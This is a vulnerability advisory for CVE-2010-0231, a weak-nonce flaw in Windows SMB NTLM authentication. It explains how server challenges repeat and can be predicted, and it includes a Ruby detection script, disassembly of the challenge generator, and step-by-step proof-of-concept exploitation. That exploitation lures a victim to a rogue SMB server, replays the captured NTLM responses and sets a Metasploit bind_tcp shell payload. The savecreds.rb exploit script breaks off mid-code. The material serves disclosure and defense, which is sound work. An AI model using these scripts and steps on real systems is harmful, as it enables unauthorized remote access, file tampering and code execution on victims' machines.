Depending on the privileges of the authorized user, and the configuration of the remote system, an attacker can gain read/write access to the remote file system and execute arbitrary code by using DCE/RPC over SMB. Remotely Exploitable: Yes Bugtraq Id: CVE: CVE-2010-0231 2.Vulnerability description --------------------------- Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1]. NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2]. Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC. Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code. 3.Vulnerable Systems -------------------- This vulnerability was verified by the authors on the following platforms: Windows NT4 SP1 Windows Server 2003 SP2 Windows XP SP3 Windows Vista x32 Windows 7 x32 RC However, all versions of Windows implementing NTLMv1 are suspected to be affected. Microsoft, in their "Microsoft Security Bulletin Advance Notification for February 2010" [3], list the following platforms as affected: Windows 2000 SP4 Windows XP SP2 and SP3 Windows XP Professional x64 Edition SP2 Windows Server 2003 SP2 Windows Server 2003 x64 Edition SP2 Windows Server 2003 SP2 for Itanium-based systems Windows Vista Windows Vista SP1 Windows Vista SP2 Windows Vista x64 Edition Windows Vista x64 Edition SP1 Windows Vista x64 Edition SP2 Windows Server 2008 x32 Windows Server 2008 x32 SP2 Windows Server 2008 x64 SP2 Windows Server 2008 x64 SP2 Windows Server 2008 for Itanium-based systems Windows Server 2008 for Itanium-based systems SP2 Windows 7 x32 See [3] for more details. Given that Windows NT 4 was relased in ~1996 this vulnerability has been present for ~14 years. If it is confirmed this vulnerablity is also present in older systems such as Windows NT 3.1, released in ~1993, Windows NTLMv1 authentication mechanism could have been vulnerable for ~17+ years. 4.Vendor Information, Solutions and Workarounds ----------------------------------------------- SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231 http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx 5.Credits --------- This vulnerability was discovered by Hernan Ochoa (Independent Information Security Consultant and Researcher) and it was researched by Hernan Ochoa and Agustin Azubel (Independent Information Security Consultant and Researcher). 6.Technical description ------------------------ Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1]. NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2]. Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC. Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code. 6.1.NTLMv1 authentication protocol ---------------------------------- The NTLMv1 authentication protocol is a challenge-response protocol that consists of the following messages: 1. The client sends to the server a message containing a set of flags of features supported/requested to perform authentication. 2. The server responds with a message containing a set of flags supported/required by the server enabling both ends to agree on the authentication parameters and, more importantly, an 8-byte random challenge/nonce. 3. The client uses the random challenge/nonce and the user's credentials to calculate the response (24 bytes) and sends it to the server. 4. The server determines if the response is correct and allows or disallows access to the client. The randomness of the 8-byte challenge/nonce returned by the server tries to ensure that every challenge-response sequence is unique helping protect against replay attacks. 6.2.The Flaws ---------------- Several flaws were found leading to attacks such as generation of duplicate challenges/nonces and challenge/nonce prediction. The randomness of the 8-byte challenges generated by the SMB server in response to an specific packet requesting authentication is bad enabling attackers to perform replay attacks. The SMB server easily generates duplicate 8-byte challenges. The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges. 6.3.Detecting if the SMB service generates duplicate 8-byte challenges ----------------------------------------------------------------------- Detecting the generation of duplicate challenges can be verified remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets to a Windows system with the 'Flags2' field set to 0xc001 (disabling security signatures, extended attributes and extended security negotiation) recording the 8-byte challenges obtained from the server and waiting for duplicates. The following Ruby script can be used to test for the presence of this vulnerability: ====test2_ochoa_2010-0209.rb====: # test2_ochoa-2010-0209.rb # Windows SMB NTLM Authentication Weak Nonce Vulnerability detection script # This script will run in an infinite loop looking for duplicate challenges displaying a message # every time one is received. # (c) 2010 Hernan Ochoa (hernan@gmail.com) require 'socket' chs = [] attempts = 0 host = "" port = 445 challenges_filename = "challenges.log" duplicates_filename = "duplicates.log" print "This script tests for the Windows SMB NTLM Authentication Weak Nonce Vulnerability\n" print "(c) 2010 Hernan Ochoa (hernan@gmail.com)\n" if ARGV.size < 1 then print "syntax: test2_ochoa-2010-0209.rb \n" exit end host = ARGV[0] print "Testing host " + host + "\n" neg_proto_packet_1 = "00000054" + "ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200" if File.file?( challenges_filename ) then File.delete( challenges_filename ) end if File.file?( duplicates_filename ) then File.delete( duplicates_filename ) end loop do so = TCPSocket.open(host, port) attempts = attempts + 1 n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) } j = n.pack("C*") so.write(j) resp = so.recvfrom(2000) j = resp.to_s[0x49..0x49+7] vuelta = j test = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp } challenge = test.to_s so.close File.open( challenges_filename , "a" ) { |f| f.write(challenge+"\n") } if chs.include? challenge puts "duplicate found!\a\a\a\a\a\a\a\a\a\a\a\a\n" ndx = chs.index(challenge) print "request #" + attempts.to_s + ", challenge=" + challenge + "\n" print "request #" + (ndx+1).to_s + ", challenge=" + chs[ndx] + "\n" File.open( duplicates_filename , "a") { |f| f.write(challenge+"\n") } end chs.push(challenge) end 6.4.Exploiting duplicate challenges -------------------------------------- There are different ways to exploit duplicate challenges, including: (i) An attacker A can eavesdrop network traffic looking for NTLM authentication messages exchanged between client C and server S ('SMB Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol Responses' packets), storing challenges and their corresponding responses. The attacker A can then perform several authentication requests to server S until S returns a previously observed challenge (a duplicate).At that point attacker A will send the corresponding and previously recorded response. We did not find so far any current Windows version (XP,Vista,7,etc) that by default or using some specific configuration, when acting as an SMB client, would generate the necessary 'SMB Negotiate Protocol Request' packets with the correct values in the 'Flags2' field to trigger the vulnerability when accessing a remote SMB service. Hence we were unable to collect duplicate challenges only by network sniffing. Tests were performed with the third-party SMB client 'smbclient' from the SAMBA project with the same negative results (tests were not exhaustive). Since this problem was also found on Windows versions as old as Windows NT4, this scenario might still be possible. (ii) An attacker A connects to system S and sends mutiple 'SMB Negotiate Protocol Request' packets with the 'Flags2' field set to 0xc001 to obtain several challenges, and stores them. The attacker A then forces a user U on system S to connect to his own specially crafted SMB server, for example by sending an email with multiple tags with UNC links (e.g.: ) or a link to web server with similar tags. Upon receiving the connections from system S,the attacker's SMB server will respond with the previously obtained challenges and will store the corresponding responses returned by the remote system. Attacker A has now a set of responses which are the challenges encrypted with user's U credentials. Finally, the attacker A will perform several authentication requests to system S until it returns one of the challenges obtained at the beginning of this attack, and at that point he will replay the corresponding and previously obtained response to gain access to system S as user U. If user U has, for example, local administrator privileges on system S (not uncommon for Windows XP users, for example), remote code execution is possible via DCE/RPC over SMB. Even if user U has no administrator privileges attacker A can still access, for example, file shares accessible by user U and read/modify information. Tests performed showed that challenges and responses obtained from a system S can be reused multiple times against that same system and other remote systems. We observed that challenges obtained from a system S were also returned by other remote systems. This means that attacker A only needs, in the best case scenario, to force user U to connect to his own specially crafted SMB server once. Of course, user U must have access (his credentials must be valid) to the other systems attacked. This attack needs the victim to have port 445/tcp open and the attacker to be able to access that port. The victim also needs to be able to access port 445/tcp on the attacker's server (only once, to record responses. Subsequent attacks do not need the victim to access the attacker's system). This simple attack using a 'brute-force' approach to find duplicate challenges proved to be acceptably effective. 6.4.1.Proof-of-Concept Exploit -------------------------------- The exploit implementation is twofolded: (i) setup_smb_weak_nonce.rb This standalone Ruby script performs several connections to the victim sending 'SMB Negotiate Protocol Request' packets to obtain 8000 challenges (the number of challenges to be obtained can be changed). After collecting 8000 challenges, it will listen on port 445/tcp for incoming SMB connections originated by the victim. For every connection received, it will send to the victim one of the previously obtained challenges and will store the corresponding response obtained. As a simple example of a method to force the victim to connect to the attacker, the file 'conn.html' is provided. This is a very simple HTML file with javascript code that will generate 1000 tags with an UNC link to different image files. The challenges and responses obtained are saved to the file 'fullcreds.log'. (ii) msf_smb_weak_nonce.rb This metasploit module will perform connections to the victim until the server responds with one of the duplicate challenges stored in 'fullcreds.log'. The module will then send the corresponding response to gain access to the victim's SMB service. Finally, after successful exploitation, the module will create the file 'owned.txt' in the ADMIN$ share (c:\windows) with the following text: "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!". This module can be easily modified to execute code on the remote system (given the target user has enough privileges). To exploit the vulnerability repeat the following steps: 1. copy msf_smb_weak_nonce.rb to /modules/exploits/windows/smb 2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.: ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces the script will listen on port 445 for incoming SMB connections. 3. Run Internet Explorer and load 'conn.html'. This will produce 1000+ connections to the SMB server implemented by setup_smb_weak_noce.rb. (Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to listen on port 445/tcp) (Note 2: If you load 'conn.html' with Internet Explorer and 'conn.html' is stored on a local drive (e.g.:c:\conn.html) it is possible Internet Explorer will prompt you to allow execution of the javascript code within 'conn.html'. This is not a limitation of the attack, it is just an extra protection implemented by Internet Explorer, the 'conn.html' does not even need to contain javascript code, it uses it just because it is convenient, you could just as easily 'hard-code' all tags. Also, loading the html file from the a local disk is not a real attack scenario, all of this is for demonstration purposes). 4.After 1000 connections are received by setup_smb_weak_nonce.rb the script will terminate. The file 'fullcreds.log' will be generated. Copy 'fullcreds.log' to /tmp. 5. run metasploit (msfconsole) and execute the following commands: -use windows/smb/msf_smb_weak_nonce -set RHOST for example: set RHOST 192.168.10.1 -set payload windows/shell/bind_tcp -exploit The metasploit module looks for 'fullcreds.log' in '/tmp' by default. You can specify the location of the 'fullcreds.log' file using the following command: -set CREDSFILE for example: -set CREDSFILE /mydir/fullcreds.log 6.the metasploit module will start performing connections to the victim until receiving a duplicate challenge for which there's a response in the 'fullcreds.log' file. After successfully authenticating to the victim, the script will create the file 'owned.txt' in c:\windows via the ADMIN$ share (given the user exploited has enough privileges). Please remember that this proof-of-concept exploit requires the targer user to have enough privileges (e.g.: local administrator) to access the ADMIN$ share remotely. However, the target user does need to have this privilege level in order for the attacker to exploit the vulnerability. For example: if the target user only has regular user privileges, an attacker can access the file shares that user has access to. Also, exploiting the vulnerabiliy and the level of access obtained are two different things. This is just a proof-of-concept exploit, it can be improved and optimized.

In order to explain the attack implemented next we begin by explaining the method used by the Windows SMB service to generate challenges. 6.5.1.SMB service: challenge generation process (Note: during this explanation we are going to use the code for the Windows XP version of all modules mentioned. The code is the same in all platforms with some minor differences for some platforms but these differences do not produce a different behaviour). The function that generates the challenges returned in 'SMB Negotiate Protocol Response' packets is srv.sys!GetEncryptionKey(): It takes the current time, and adds to the low part of the current time the value of the global variable _EncryptionKeyCount. 00040735 lea eax, [ebp+CurrentTime] 00040738 push eax 00040739 call ds:__imp__KeQuerySystemTime@4 0004073F mov eax, _EncryptionKeyCount 00040744 add dword ptr [ebp+CurrentTime], eax Increments _EncryptionKeyCount by 0x100 and makes some 'calculations' with the (current time.lowpart + _EncryptionKeyCount) resulting in a DWORD value with the following 'pattern': where CT = (current time.lowpart + _EncryptionKeyCount) seed = CT[1], CT[2]-1, CT[2], CT[1]+1; 00040747 movzx ecx, byte ptr [ebp+CurrentTime+1] 0004074B movzx eax, byte ptr [ebp+CurrentTime+2] 0004074F add _EncryptionKeyCount, 100h 00040759 mov edx, ecx 0004075B shl edx, 8 0004075E lea esi, [eax-1] 00040761 or edx, esi 00040763 mov esi, ds:__imp__RtlRandom@4 00040769 shl edx, 8 0004076C or edx, eax 0004076E shl edx, 8 00040771 inc ecx 00040772 lea eax, [ebp+Seed] 00040775 or edx, ecx Then it calls the ntoskrnl.exe!RtlRandom(&seed) function three times, using as a 'seed' the value with the pattern shown above. Each call to ntosrnkl.exe!RtlRandom(&seed) returns in 'seed' a different value (meaning each call does not use the same value as a 'seed'). 00040777 push eax 00040778 mov [ebp+Seed], edx 0004077B call esi ; RtlRandom(x) 0004077D mov [ebp+var_18], eax 00040780 lea eax, [ebp+Seed] 00040783 push eax 00040784 call esi ; RtlRandom(x) 00040786 mov ebx, eax 00040788 lea eax, [ebp+Seed] 0004078B push eax ; Seed 0004078C call esi ; RtlRandom(x) The calls to ntoskrnl.exe!RtlRandom(&seed) generate 3 'random' numbers.

We know the following facts: - _EncryptionKeyCount starts with a value of 0 - _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey. The code that calls srv.sys!GetEncryptionKey() is not regularly triggered, but only when the SMB service receives a packet like the one we use with the 'flags2' field set to 0xc001 - We have not observed 'modern' Windows systems (Windows XP SP3, Vista, 7, etc) generate these kind of packets - This allows us to expect that before start conducting an attack against any 'modern' Windows system, _EncryptionKeyCount will always be 0; by keeping count of the number of packets we send, we can also calculate the value of _EncryptionKeyCount for further connections - Interestingly enough, in our tests, the value of Current Time used by srv.sys!GetEncryptionKey to generate the seed was the same value returned by the SMB service to the client in the field 'System Time' of an 'SMB Negotiate Protocol Response' packet - The initial state of the vector used by ntoskrnl.exe!RtlRandom is hard-coded, but it is modified every time the function is called and it is called every time a new process is created (modifications might not be that many). Based on these facts we implemented the following attack to predict challenges: - We set the vector used by ntoskrnl.exe!RtlRandom to a 'known state' -To do this we send multiple 'SMB Negotiate Protocol Request' packets with the 'flags2' field set to 0xc001 to trigger srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom modifying its internal vector (~300 packets) -Since we know the seed used by the server to perform the previous actions, because it is in the 'System Time' field of the 'SMB Negotiate Protocol Response' packet we receive, and we also know all the other variables including the value of _EncryptionKeyCount, we can do the same calculations updating our own vector -We repeat this process until all 128 values of our vector are calculated. At this point we know the state of the table on the remote system, we know all of its values and their position within the vector. - We calculate all possible challenges that can be generated with that 'known state' next time srv.sys!GetEncryptionKey is called - We force the victim to connect to our specially crafted SMB server to get all those challenges encrypted with the credentials of the victim (an average of ~16000 to ~48000 possible challenges) - At this point we know that if we send another authentication request to the victim the challenge returned will be one of the pre-calculated challenges. We make the connection, get the challenge, look for the corresponding response we obtained from the victim, and authenticate to the SMB service. 6.5.2.Proof-of-Concept Exploit ------------------------------ Next are the necessary steps to perform the attack: - Run predictor.rb against the victim.

The number of connections that need to be performed is shown by savecreds.rb. - When savecreds.rb is finished, a file 'fullcreds.log' will be created - Now use the metasploit module msf_smb_weak_nonce.rb as explained before with the recently generated 'fullcreds.log' against the victim - You should be able to authenticate with the victim at the ~first attempt Sometimes the challenge is correctly 'guessed' at the first attempt, but the attack fails because of some SMB error. If this happens please note that the challenge was indeed correctly predicted. Also note that since the internal vector is not completely modified after just one connection, the exploit will actually be able to predict more challenges (you might be able to run the metasploit exploit multiple times before performing the whole attack all over again). The predictor.rb assumes the EncryptionKeyCount is 0. If you want to run the attack multiple times you just need to modify its value in predictor.rb. The value of EncryptionKeyCount after the attack is displayed by predictor.rb when it terminates (you need to use the value displayed + 0x100). After generate_challenges.rb is executed, if the number of possible challenges is 'too big' (~48000 or more) you might want to run predictor.rb again. The size of the set of possible challenges vary according to the values in the vector. Remember to adjust EncryptionKeyCount before running predictor.rb. We recommend peforming the attack when EncryptionKeyCount is 0 specially if this is the first time this proof-of-concept is used. This is just a proof-of-concept exploit, it can be improved and optimized. ====savecreds.rb====: # Windows SMB NTLM Authentication Weak Nonce Vulnerability # (c) 2010 Hernan Ochoa (hernan@gmail.com) # This script waits for incoming connections on port 445/tcp and responds with # a set to challenges, and stores the responses. require 'socket' require 'time' # from metasploit... # framework-3.2/lib/rex/proto/smb/utils.rb def time_unix_to_smb(unix_time) t64 = (unix_time + 11644473600) * 10000000 thi = (t64 & 0xffffffff00000000) >> 32 tlo = (t64 & 0x00000000ffffffff) return [thi, tlo] end def waitforcreds(thenonces, num) nonces_ndx = 0 conn_num = 0 maxn = num neg_proto_response_1 = "00000051" + # NetBIOS Session Service header "ff534d4272000000008801c00000000000000000000000000000fffe00000000" + # SMB Header "1105000302000100041100000000010000000000fde30000007632d28015ca010000080c00e486962656d5869400000000" # Negotiate Protocol Response session_setupandx_access_denied = "00000023" + # NetBIOS Session Service Header "ff534d4273220000c08801c00000000000000000000000000000fffe00000400000000" + # SMB Header "000000" # Session and SetupX Response payload creds_filename = "fullcreds.log" if File.file?( creds_filename ) then File.delete( creds_filename ) end server = TCPServer.open(445) loop { if conn_num > maxn Thread.exit return end Thread.start(server.accept) do |client| conn_num = conn_num + 1 if conn_num > maxn puts "done!" client.close() server.shutdown Thread.exit return end puts conn_num # (1) receive Negotiate Protocol Request q, x = client.recvfrom(2000) puts "neg proto request received" pid1 = q[0x1e] pid2 = q[0x1f] multi1 = q[0x1e+4] multi2 = q[0x1f+4] # (2) send Negotiate Protocol Response # set challenge in response packet puts thenonces[nonces_ndx].to_s neg_proto_response_1[146..146+15] = thenonces[nonces_ndx].chomp # TODO: SET CORRECT TIME timehi, timelo = time_unix_to_smb(Time.now.to_i) # send packet n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) } # set process id #puts pid1 #puts pid2 #puts multi1 #puts multi2 n[0x1e] = pid1 n[0x1f] = pid2 n[0x1e+4] = multi1 n[0x1f+4] = multi2 s = ("%.8x" % timelo) ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr dlo = (ss.scan(/../)).map { |s| s.to_i(16) } s = ("%.8x" % timehi) ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chr dhi = (ss.scan(/../)).map { |s| s.to_i(16) } n[0x3c..0x3c+3] = dlo n[0x40..0x40+3] = dhi # timezone = 0 #n[0x45] = 0 #n[0x46] = 0 j = n.pack("C*") client.write(j) puts "neg proto response sent" # (3) Receive Session Setup andX Request q, x = client.recvfrom(4000) puts "session setup andx request received!" pid1 = q[0x1e] pid2 = q[0x1f] multi1 = q[0x1e+4] multi2 = q[0x1f+4] # we assume the first request is anonymous # and we send back an Error: STATUS_ACCESS_DENIED n = session_setupandx_access_denied.scan(/../).map { |s| s.to_i(16) } n[0x1e] = pid1 n[0x1f] = pid2 n[0x1e+4] = multi1 n[0x1f+4] = multi2 #n[0x44/2] = pid1multi1 #n[0x45/2] = multi2 #n[0x3c/2] = pid1 #n[0x3d/2] = pid2 #puts n begin j = n.pack("C*") rescue puts $!
